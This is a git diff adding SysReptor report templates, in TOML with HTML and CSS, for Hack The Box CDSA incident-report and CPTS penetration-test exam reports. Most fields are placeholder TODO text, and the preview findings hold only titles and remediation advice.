APPROPRIATE +""" +recommendation = "Where possible, use parameterized queries to ensure that database interactions cannot be contaminated. Also, escape all user supplied input/utilize a whitelist of approved characters to validate all input that is passed to the database." +id = "a10eed1a-07f5-46ef-bf3a-b78208e72272" +references = [ + "https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet", +] +affected_components = [ + "mytestsite.com, Id parameter", +] +cwe = "CWE-89" +order = 1 + +[[report_preview_data.findings]] +title = "Username Enumeration" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" +summary = "TODO DESCRIPTION" +impact = "TODO IMPACT" +description = """ +``` +ADD COMMAND OUTPUT AS APPROPRIATE +``` + +TODO ADD SCREENSHOTS AS APPROPRIATE +""" +recommendation = "TODO REMEDATION" +id = "89b9d011-8782-4a14-be15-ead66d720936" +cwe = "TODO CWE" +references = [ + "TODO REFERENCES", +] +affected_components = [ + "TODO AFFECTED COMPONENT", +] +order = 2 + +[[report_preview_data.findings]] +title = "Cookie Missing Secure Flag" +cvss = "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO DESCRIPTION" +impact = "TODO IMPACT" +description = """ +``` +ADD COMMAND OUTPUT AS APPROPRIATE +``` + +TODO ADD SCREENSHOTS AS APPROPRIATE +""" +recommendation = "TODO REMEDIATION" +id = "f622369f-782e-4d77-bf2d-493b85747b3b" +cwe = "TODO CWE" +references = [ + "TODO REFERENCES", +] +affected_components = [ + "TODO AFFECTED COMPONENT", +] +order = 3 + +[[assets]] +id = "0daec9e9-c265-4522-b2a7-74ce17692b23" +name = "logo-transparent.png" + +[[assets]] +id = "598ee464-3e67-4cc2-9eeb-842e176d0630" +name = "LICENSE" diff --git a/demo_data/htb-designs/cdsa-assets/LICENSE b/demo_data/htb-designs/cdsa-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/htb-designs/cdsa-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/htb-designs/cdsa-assets/logo-transparent.png b/demo_data/htb-designs/cdsa-assets/logo-transparent.png new file mode 100644 index 0000000..640aa46 Binary files /dev/null and b/demo_data/htb-designs/cdsa-assets/logo-transparent.png differ diff --git a/demo_data/htb-designs/cdsa.toml b/demo_data/htb-designs/cdsa.toml new file mode 100644 index 0000000..b7024bc --- /dev/null +++ b/demo_data/htb-designs/cdsa.toml @@ -0,0 +1,1047 @@ +format = "projecttypes/v1" +id = "558ef188-b35c-42ef-b9f0-53cab280cff4" +name = "HTB CDSA Report v1.0" +language = "en-US" +finding_field_order = [ + "title", + "incident_id", + "incident_severity", + "incident_status", + "incident_overview", + "key_findings", + "immediate_actions", + "stakeholder_impact", + "affected_systems", + "evidence_sources", + "ioc", + "root_cause", + "timeline", + "nature", +] +finding_ordering = [] +report_template = """ + + + + + + +
+ +
+ HACKTHEBOX +
+ +
+

Security Incident Report

+

{{ report.title }}

+

HTB Certified Defensive Security Analyst (HTB CDSA) Exam Report

+

Candidate Name: {{ report.candidate.a_name }}

+
+ +
+

{{ formatDate(report.report_date, 'long') }}

+

Version: {{ report.report_version }}

+
+ +
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Statement of Confidentiality {#SoC .in-toc.numbered} + The contents of this document have been developed by Hack The Box. Hack The Box considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use. This document may not be released to another vendor, business partner or contractor without prior written consent from Hack The Box. Additionally, no portion of this document may be communicated, reproduced, copied or distributed without the prior consent of Hack The Box. + + The contents of this document do not constitute legal advice. Hack The Box’s offer of services that relate to compliance, litigation or other legal interests are not intended as legal counsel and should not be taken as such. The assessment detailed herein is against a fictional company for training and examination purposes, and the vulnerabilities in no way affect Hack The Box external or internal infrastructure. + + + + + +
+

Engagement Contacts

+ + + + + + + + + + + + + + + + + + + +
+ Contacts +
Primary ContactTitleContact Email
{{ contact.a_name }}{{ contact.b_title }}{{ contact.c_email }}
{{ report.candidate.a_name }}{{ report.candidate.b_title }}{{ report.candidate.c_email }}
+ +
+ + + # Exam Objectives (Read Carefully) {.in-toc.numbered} + To be awarded the HTB Certified Defensive Security Analyst (CDSA) certification, you must: + * Obtain a minimum of 85 points while investigating Incident 1 by submitting 17 out of the 20 flags listed below AND + * Compose and submit a commercial-grade security incident report **for both incidents** that encompasses an Executive Summary and Technical Analysis sections for each incident, adhering strictly to the format and content outlined in the Security Incident Reporting module. + * While the Impact Analysis and the Response and Recovery Analysis, including diagrams, can be excluded, the Technical Analysis for both incidents must be exceptionally thorough. + * Each stage of the cyber kill chain needs to be addressed, and any activities related to process injection should be scrutinized thoroughly, considering aspects like the origin, destination, and whether a process was sacrificial. + * Each detection should be elucidated step by step, inclusive of the associated data sources, SIEM queries, and tool commands. + + + +
+

Executive Summary

+ +
+

+ {{ finding.title }} +

+

+ Incident ID: {{ finding.incident_id }} +

+

+ Incident Severity: {{ finding.incident_severity }} +

+

+ Incident Status: {{ finding.incident_status }} +

+

+ Incident Overview: + +

+

+ Key Findings: + +

+

+ Immediate Actions: + +

+

+ Stakeholder Impact: + +

+
+ +
+ +
+

Technical Analysis

+ +
+

+ {{ finding.title }} +

+ +
+

Affected Systems & Data

+ +
+ +
+

Evidence Sources & Analysis

+ +
+ +
+

Indicators of Compromise (IoCs)

+ +
+ +
+

Root Cause Analysis

+ +
+ +
+

Technical Timeline

+ +
+ +
+

Nature of the Attack

+ +
+ +
+
+ +
+

Appendix

+ +
+

Technical Timeline

+ + +
+ +
+

{{ appendix_additional_section.title }}

+ + +
+
+ +
+
+ End of Report +
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #ffc400; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-highlight: #9FEF00; + --color-secondary: #A6B0CB; + + --color-table-header: #9FEF00; + --color-table-row-even: #A4B1CD; + --color-table-row-odd: #BFC8DC; + --color-table-content: #151515; + + --color-page-background: #161D2A; +} + +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; + background-color: var(--color-page-background); +} + +/* Font */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; + color: white; +} +h1, h2, h3, h4, h5, h6 { + color: var(--color-highlight); +} + +/* Justify text */ +p { + text-align: justify; + text-align-last: start; +} + +a { + color: var(--color-secondary); /* Set the color of unvisited links */ + text-decoration: underline; /* Remove the underline from unvisited links */ +} + +/* Table styling */ +table, th, td { + border: 1px solid white; +} +th { + background-color: var(--color-table-header); + color: var(--color-table-content); +} +th, td { + padding: 0.2em 0.5em 0.2em 0.5em; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.2em 0.5em 0.2em 0.5em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +td.table-key { + height: 3em; + width: 10em; +} +tr{ + color: var(--color-table-content); +} +tr:nth-child(even) { + background-color: var(--color-table-row-even) +} +tr:nth-child(odd) { + background-color: var(--color-table-row-odd) +} + + +/* Code block styling */ +pre code { + border: 1px solid white; + padding: 0.2em !important; +} +code { + color: var(--color-highlight); + background-color: inherit; +} + +.code-important{ + background-color: yellow; + color: red; + font-style: italic; +} + +/* Footnotes */ +@page { + @footnote { + border-top: 1px solid white; + } +} +footnote { + font-size: 8pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +.highlight { + font-weight: bold; + color: var(--color-highlight); +} + + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page .ref-title, .ref-finding-number .ref-title { + display: none !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-finding-number::before { + content: target-counter(attr(href), finding-number); +} + +.findings-list { + counter-reset: finding-number; +} +.finding-number { + color: white; +} +.finding-number::before { + counter-increment: finding-number; + content: counter(finding-number) ". "; +} + + + +/* Finding */ +.finding-header .table-key { + height: 3em; + width: 10em; +} + +.finding-header-color{ + font-size: 12pt; + color: white !important; +} + + + + +/*CSS classes for multiple systems */ +.finding-systems { + padding-left: 1em; +} +.finding-systems-cols { + column-count: 2; + padding-top: 1em; + margin-bottom: 1em; +} + + +/*Draft Watermark*/ +#watermark-draft { + position: fixed; + top: 8cm; + left: 2cm; + transform: rotate(-45deg); + font-size: 110pt; + text-transform: uppercase; + opacity: 0.2; +} + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } + @top-left { + content: element(header-left); + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + width: 100%; + } + @top-right-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } +} +#header-left { + position: running(header-left); + display: flex; + flex-direction: row; + align-items: center; +} +#header-logo { height: 20mm; } +#header-text { font-size: 14pt; margin-left: -3mm; } +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer-left { position: running(footer-left); } +#footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region page-cover */ +#page-cover-logo { + position: absolute; + top: 5%; + left: 2cm; + height: 6cm; + transform: translate(-50%, -50%); + display: inline-block +} + +#page-cover-logo-title { + position: absolute; + top: 5%; + left: 9.5cm; + transform: translate(-50%, -50%); + display: inline-block; + font-size: 42pt; +} + +#page-cover-title { + position: absolute; + top: 40%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + text-align: center; +} +#page-cover-title h1 { + font-size: 32pt; + color: white; +} +#page-cover-title h2 { + font-size: 24pt; + color: white; +} +#page-cover-title h3 { + font-size: 12pt; + color: white; +} +#page-cover-report-title{ + color: var(--color-highlight) !important; +} + +#page-cover-recipient { + position: absolute; + top: 80%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + display: inline-block; + text-align: right; +} + +#page-cover-recipient h1 { + font-size: 16pt; + color: var(--color-highlight); +} +#page-cover-recipient h2 { + font-size: 12pt; + color: var(--color-secondary); +} + +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer (except "confidential") */ + @bottom-center { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; + color: var(--color-secondary); +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 14pt; + margin-top: 0.8em; + color: white; +} +#toc .toc-level2 { + font-size: 12pt; + margin-top: 0.5em; + margin-left: 1em; +} +#toc .toc-level3 { + font-size: 10pt; + margin-top: 0.4em; + margin-left: 2em; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Report Title" +origin = "core" +default = "TODO Report Title" +required = true +spellcheck = false + +[report_fields.candidate] +type = "object" +label = "HTB Candidate" +origin = "custom" + +[report_fields.candidate.properties] +[report_fields.candidate.properties.a_name] +type = "string" +label = "Full Name" +origin = "custom" +default = "TODO Candidate Name" +required = true +spellcheck = false + +[report_fields.candidate.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Candidate Title" +required = true +spellcheck = false + +[report_fields.candidate.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Candidate Email " +required = true +spellcheck = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.customer_full] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO Customer Ltd." +required = true +spellcheck = false + +[report_fields.customer_short] +type = "string" +label = "Customer (abbreviated)" +origin = "custom" +default = "TODO Customer" +required = true +spellcheck = false + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "TODO 1.0" +required = true +spellcheck = false + +[report_fields.appendix_timeline] +type = "markdown" +label = "Technical Timeline" +origin = "custom" +default = """ +| Time | Activity | +| ------------------- | -------------------------------------------------- | +| TODO | TODO | +| ... | ... | +| ... | ... | +| ... | ... | +| ... | ... | +""" +required = true + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = "{{ report.customer_full }} engaged {{ report.candidate.a_name }} to investigate two (2) independent security incidents across two of {{ report.customer_full }}' separate networks. The objective is to identify the root causes and the full extent of these incidents and to meticulously document the findings in an understandable, technically robust, and reproducible way." +required = true + +[report_fields.engagement_contacts] +type = "list" +label = "Engagement Contacts" +origin = "custom" +required = true + +[report_fields.engagement_contacts.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.engagement_contacts.items.properties] +[report_fields.engagement_contacts.items.properties.a_name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO Name" +required = true +spellcheck = false + +[report_fields.engagement_contacts.items.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Title" +required = true +spellcheck = false + +[report_fields.engagement_contacts.items.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Email" +required = true +spellcheck = false + +[report_fields.appendix_additional_sections] +type = "list" +label = "Additional Appendix" +origin = "custom" +required = false + +[report_fields.appendix_additional_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_additional_sections.items.properties] +[report_fields.appendix_additional_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Appendix Title" +required = true +spellcheck = false + +[report_fields.appendix_additional_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO Additional Appendix" +required = true + +[[report_sections]] +id = "meta" +label = "Meta" +fields = [ + "title", + "candidate", + "customer_full", + "customer_short", + "report_date", + "report_version", +] + +[[report_sections]] +id = "document_control" +label = "Document Control" +fields = [ + "engagement_contacts", +] + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_timeline", + "appendix_additional_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Incident Title" +origin = "core" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true +spellcheck = false + +[finding_fields.ioc] +type = "markdown" +label = "Indicators of Compromise (IoCs)" +origin = "custom" +default = """ +IoCs are instrumental for hunting potential compromises across our broader environment or even among partner organizations. These can range from abnormal outbound traffic to unfamiliar processes and scheduled tasks initiated by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.nature] +type = "markdown" +label = "Nature of the Attack" +origin = "custom" +default = """ +Deep-dive into the type of attack, as well as the tactics, techniques, and procedures (TTPs) employed by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.timeline] +type = "markdown" +label = "Technical Timeline" +origin = "custom" +default = """ +This is a pivotal component for comprehending the incident's sequence of events. The timeline should include: +* Reconnaissance +* Initial Compromise +* C2 Communications +* Enumeration +* Lateral Movement +* Data Access & Exfiltration +* Malware Deployment or Activity (including Process Injection and Persistence) +* Containment Times (can be excluded) +* Eradication Times (can be excluded) +* Recovery Times (can be excluded) + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.root_cause] +type = "markdown" +label = "Root Cause Analysis" +origin = "custom" +default = """ +Within this section, detail the root cause analysis conducted and elaborate on the underlying cause of the security incident (vulnerabilities exploited, failure points, etc.). + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.incident_id] +type = "string" +label = "Incident ID" +origin = "custom" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true +spellcheck = false + +[finding_fields.key_findings] +type = "markdown" +label = "Key Findings" +origin = "custom" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true + +[finding_fields.incident_status] +type = "combobox" +label = "Incident Status" +origin = "custom" +required = true +suggestions = [ + "New", + "In Progress", + "Complete", + "Declined", +] + +[finding_fields.affected_systems] +type = "markdown" +label = "Affected Systems & Data" +origin = "custom" +default = """ +Highlight all systems and data that were either potentially accessed or definitively compromised during the incident. If data was exfiltrated, specify the volume or quantity, if ascertainable. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.evidence_sources] +type = "markdown" +label = "Evidence Sources & Analysis" +origin = "custom" +default = """ +Emphasize the evidence scrutinized, the results, and the analytical methodology employed. Each detection should be elucidated step by step, inclusive of the associated data sources, SIEM queries, and tool commands. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +required = true + +[finding_fields.immediate_actions] +type = "markdown" +label = "Immediate Actions" +origin = "custom" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true + +[finding_fields.incident_overview] +type = "markdown" +label = "Incident Overview" +origin = "custom" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true + +[finding_fields.incident_severity] +type = "combobox" +label = "Incident Severity" +origin = "custom" +default = "TODO: TO BE FILLED BY THE SECURITY ANALYST" +required = true +suggestions = [ + "Critical", + "High", + "Medium", + "Low", +] + +[finding_fields.stakeholder_impact] +type = "markdown" +label = "Stakeholder Impact" +origin = "custom" +default = "TODO TO BE FILLED BY THE SECURITY ANALYST" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "Quantum Security Labs" +report_date = "2023-05-31" +report_version = "1.0" +executive_summary = "{{ report.customer_full }} engaged {{ report.candidate.a_name }} to investigate two (2) independent security incidents across two of {{ report.customer_full }}' separate networks. The objective is to identify the root causes and the full extent of these incidents and to meticulously document the findings in an understandable, technically robust, and reproducible way." +customer_short = "Quantum Security Labs" +customer_full = "Quantum Security Labs" +appendix_additional_sections = [] +appendix_timeline = """ +| Time | Activity | +| ------- | ------- | +| ... | ... | +| ... | ... | +| ... | ... | +| ... | ... | +| ... | ... | +""" + +[report_preview_data.report.candidate] +a_name = "TODO CANDIDATE NAME" +b_title = "Security Analyst" +c_email = "TODO CANDIDATE MAIL" + +[[report_preview_data.report.engagement_contacts]] +a_name = "Android Lloyd" +b_title = "SoC Manager" +c_email = "a.lloyd@corp.local" + +[[report_preview_data.report.engagement_contacts]] +a_name = "Darren McLemore" +b_title = "SoC Manager" +c_email = "d.mclemore@htbdefense.local" + +[[report_preview_data.findings]] +title = "Incident 1: Phishing Email Detected on the corp.local Network" +id = "ed119472-b112-40a1-8687-acf1c4827e2f" +ioc = """ +IoCs are instrumental for hunting potential compromises across our broader environment or even among partner organizations. These can range from abnormal outbound traffic to unfamiliar processes and scheduled tasks initiated by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +nature = """ +Deep-dive into the type of attack, as well as the tactics, techniques, and procedures (TTPs) employed by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +timeline = """ +This is a pivotal component for comprehending the incident's sequence of events. The timeline should include: +* Reconnaissance +* Initial Compromise +* C2 Communications +* Enumeration +* Lateral Movement +* Data Access & Exfiltration +* Malware Deployment or Activity (including Process Injection and Persistence) +* Containment Times (can be excluded) +* Eradication Times (can be excluded) +* Recovery Times (can be excluded) + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +root_cause = """ +Within this section, detail the root cause analysis conducted and elaborate on the underlying cause of the security incident (vulnerabilities exploited, failure points, etc.). + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +affected_systems = """ +Highlight all systems and data that were either potentially accessed or definitively compromised during the incident. If data was exfiltrated, specify the volume or quantity, if ascertainable. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +evidence_sources = """ +Emphasize the evidence scrutinized, the results, and the analytical methodology employed. Each detection should be elucidated step by step, inclusive of the associated data sources, SIEM queries, and tool commands. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +incident_id = "1c041934-4e91-4547-a3ce-3bd3a26762ca" +incident_severity = "TO BE FILLED BY THE SECURITY ANALYST" +incident_status = "In Progress" +incident_overview = "TODO TO BE FILLED BY THE SECURITY ANALYST" +key_findings = "TODO TO BE FILLED BY THE SECURITY ANALYST" +immediate_actions = "TODO TO BE FILLED BY THE SECURITY ANALYST" +stakeholder_impact = "TODO TO BE FILLED BY THE SECURITY ANALYST" + +[[report_preview_data.findings]] +title = "Incident 2: Potential DCSync Activity Detected on Quantum Security Labs' Second Network" +id = "8d1be449-46d5-4cc9-bd77-101fcd178a9c" +ioc = """ +IoCs are instrumental for hunting potential compromises across our broader environment or even among partner organizations. These can range from abnormal outbound traffic to unfamiliar processes and scheduled tasks initiated by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +nature = """ +Deep-dive into the type of attack, as well as the tactics, techniques, and procedures (TTPs) employed by the attacker. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +timeline = """ +This is a pivotal component for comprehending the incident's sequence of events. The timeline should include: +* Reconnaissance +* Initial Compromise +* C2 Communications +* Enumeration +* Lateral Movement +* Data Access & Exfiltration +* Malware Deployment or Activity (including Process Injection and Persistence) +* Containment Times (can be excluded) +* Eradication Times (can be excluded) +* Recovery Times (can be excluded) + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +root_cause = """ +Within this section, detail the root cause analysis conducted and elaborate on the underlying cause of the security incident (vulnerabilities exploited, failure points, etc.). + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +affected_systems = """ +Highlight all systems and data that were either potentially accessed or definitively compromised during the incident. If data was exfiltrated, specify the volume or quantity, if ascertainable. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +evidence_sources = """ +Emphasize the evidence scrutinized, the results, and the analytical methodology employed. Each detection should be elucidated step by step, inclusive of the associated data sources, SIEM queries, and tool commands. + +TODO TO BE FILLED BY THE SECURITY ANALYST +""" +incident_id = "63b3e9ef-3def-49d9-9960-5df399d1bd80" +incident_severity = "TO BE FILLED BY THE SECURITY ANALYST" +incident_status = "In Progress" +incident_overview = "TODO TO BE FILLED BY THE SECURITY ANALYST" +key_findings = "TODO TO BE FILLED BY THE SECURITY ANALYST" +immediate_actions = "TODO TO BE FILLED BY THE SECURITY ANALYST" +stakeholder_impact = "TODO TO BE FILLED BY THE SECURITY ANALYST" + +[[assets]] +id = "72481cdf-2aaa-40a3-b0e5-23798747c7e0" +name = "logo-transparent.png" + +[[assets]] +id = "598ee464-3e67-4cc2-9eeb-842e176d0630" +name = "LICENSE" diff --git a/demo_data/htb-designs/cpts-assets/LICENSE b/demo_data/htb-designs/cpts-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/htb-designs/cpts-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/htb-designs/cpts-assets/logo-transparent.png b/demo_data/htb-designs/cpts-assets/logo-transparent.png new file mode 100644 index 0000000..640aa46 Binary files /dev/null and b/demo_data/htb-designs/cpts-assets/logo-transparent.png differ diff --git a/demo_data/htb-designs/cpts.toml b/demo_data/htb-designs/cpts.toml new file mode 100644 index 0000000..b5a9257 --- /dev/null +++ b/demo_data/htb-designs/cpts.toml @@ -0,0 +1,1557 @@ +format = "projecttypes/v1" +id = "f0b48bc5-af2b-4566-a904-9604f79a3229" +name = "HTB CPTS Report v1.0" +language = "en-US" +finding_field_order = [ + "title", + "cwe", + "cvss", + "summary", + "impact", + "affected_components", + "recommendation", + "references", + "description", +] +report_template = """ + + + + + + +
+ +
+ HACKTHEBOX +
+ +
+

Penetration Test

+

{{ report.title }}

+

Report of Findings

+

HTB Certified Penetration Testing Specialist (CPTS) Exam Report

+

Candidate Name: {{ report.candidate.a_name }}

+
+ +
+

{{ report.customer_full }}

+

{{ formatDate(report.report_date, 'long') }}

+

Version: {{ report.report_version }}

+
+ +
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Statement of Confidentiality {#SoC .in-toc.numbered} + The contents of this document have been developed by Hack The Box. Hack The Box considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use. This document may not be released to another vendor, business partner or contractor without prior written consent from Hack The Box. Additionally, no portion of this document may be communicated, reproduced, copied or distributed without the prior consent of Hack The Box. + + The contents of this document do not constitute legal advice. Hack The Box's offer of services that relate to compliance, litigation or other legal interests are not intended as legal counsel and should not be taken as such. The assessment detailed herein is against a fictional company for training and examination purposes, and the vulnerabilities in no way affect Hack The Box external or internal infrastructure. + + + + + +
+
+

Engagement Contacts

+ + + + + + + + + + + + + + +
+ {{ report.customer_short }} Contacts +
ContactTitleContact Email
{{ contact.a_name }}{{ contact.b_title }}{{ contact.c_email }}
+ + + + + + + + + + + + + + + +
+ Assessor Contact +
Assessor NameTitleAssessor Contact Email
{{ report.candidate.a_name }}{{ report.candidate.b_title }}{{ report.candidate.c_email }}
+
+ +
+ + +
+ +

Executive Summary

+ + +
+

Approach

+ +
+ +
+

Scope

+ +
+ +
+

Assessment Overview and Recommendations

+ +
+ +
+ +
+

Network Penetration Test Assessment Summary

+ + +
+

Summary of Findings

+ +

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+ +

+ Below is a high-level overview of each finding identified during testing. These findings are covered in depth in the + Technical Findings Details section of this report. +

+ + + + + + + + + + + + + + + + + +
#Severity LevelFinding NamePage
+
+ +
+ + +
+

Internal Network Compromise Walkthrough

+ + +
+

Detailed Walkthrough

+ +
+ + +
+ + +
+

Remediation Summary

+ + +
+

Short Term

+ +
+ +
+

Medium Term

+ +
+ +
+

Long Term

+ +
+ + +
+ +
+

Technical Findings Details

+ +
+

+ {{ finding.title }} - + {{ lodash.capitalize(finding.cvss.level) }} +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CWE + {{ finding.cwe || '-' }} +
CVSS 3.1 + N/A + {{ finding.cvss.score}} / {{ finding.cvss.vector }} +
Root Cause + +
Impact + +
Affected Component + - + {{ finding.affected_components[0] + }} +
    +
  • {{ c }}
  • +
+
Remediation + +
References + - + {{ finding.references[0] }} +
    +
  • {{ r }}
  • +
+
+ +
+

Finding Evidence

+ +
+ + +
+
+ +
+

Appendix

+ +
+

Finding Severities

+ + +
+ +
+

Host & Service Discovery

+ + +
+ +
+

Subdomain Discovery

+ + +
+ +
+

Exploited Hosts

+ + +
+ +
+

Compromised Users

+ + +
+ +
+

Changes/Host Cleanup

+ + +
+ +
+

Flags Discovered

+ + +
+ +
+

{{ appendix_additional_section.title }}

+ + +
+
+ +
+
+ End of Report +
+
+ This report was rendered
+ by SysReptor with
+
+
+
